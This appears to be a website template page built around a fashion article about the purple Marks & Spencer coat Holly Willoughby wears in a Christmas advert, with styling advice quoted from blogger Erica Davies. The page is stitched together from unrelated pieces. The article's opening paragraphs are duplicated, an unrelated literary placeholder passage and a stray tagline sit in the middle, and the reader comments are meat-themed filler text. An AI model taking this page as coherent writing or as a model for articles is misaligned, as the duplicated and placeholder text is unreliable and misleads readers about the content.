design has already proved a massive hit on Instagram, due to not only the gorgeous wide
lapels, the on-trend, oversize fit and super cosy wool texture – but also the fact that
Vogue Williams, Holly and fashion blogger Erica Davies have all rocked it. Now if you don’t
know who Erica Davies is – let us enlighten you. Erica is a huge fashion influencer and has
always been a big fan of M&S, having single-handedly made THAT starry-print constellation
dress a sellout last year.
Speaking about how to style the purple coat of dreams,
the chic mother-of-two advised: “Do not fear the purple hue. It works SO WELL with navy
blue, bright yellow (yes really), orange or red AND emerald green. It’s a completely useful
shade if you want to inject some colour into your life. And who doesn’t want that? We
couldn’t agree more.
When, while the lovely valley teems with vapour around me, and the meridian sun strikes the upper surface of the impenetrable foliage of my trees, and but a few stray gleams steal into the inner sanctuary, I throw myself down among the tall grass by the trickling stream; and, as I lie close to the earth, a thousand unknown plants are noticed by me.
Dare to dream big
The Christmas countdown is officially on! And how do we know? Because the Marks & Spencer
Christmas advert has just hit screen. And the star is a certain Holly Willoughby – and her
enviable wardrobe. We can’t stop thinking about the fabulous purple coat that she wears
during the ad – which is FINALLY available to purchase now.
Although it was released
in store earlier this month, you can now purchase it online for £89. The single-breasted
design has already proved a massive hit on Instagram, due to not only the gorgeous wide
lapels, the on-trend, oversize fit and super cosy wool texture – but also the fact that
Vogue Williams, Holly and fashion blogger Erica Davies have all rocked it. Now if you don’t
know who Erica Davies is – let us enlighten you. Erica is a huge fashion influencer and has
always been a big fan of M&S, having single-handedly made THAT starry-print constellation
dress a sellout last year.
Speaking about how to style the purple coat of dreams,
the chic mother-of-two advised: “Do not fear the purple hue. It works SO WELL with navy
blue, bright yellow (yes really), orange or red AND emerald green. It’s a completely useful
shade if you want to inject some colour into your life. And who doesn’t want that? We
couldn’t agree more.
Published by Jeremy Harville
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Christopher F. Perry
ReplySausage ribeye porchetta sirloin shank, pork belly kielbasa. Picanha brisket tenderloin sirloin prosciutto corned beef shank. Porchetta sirloin shank, pork belly kielbasa.
Sally Greer
ReplySausage ribeye porchetta sirloin shank, pork belly kielbasa. Picanha brisket tenderloin sirloin prosciutto corned beef shank.
Jhon Rozario
ReplySausage ribeye porchetta sirloin shank, pork belly kielbasa. Picanha brisket tenderloin sirloin prosciutto corned beef shank.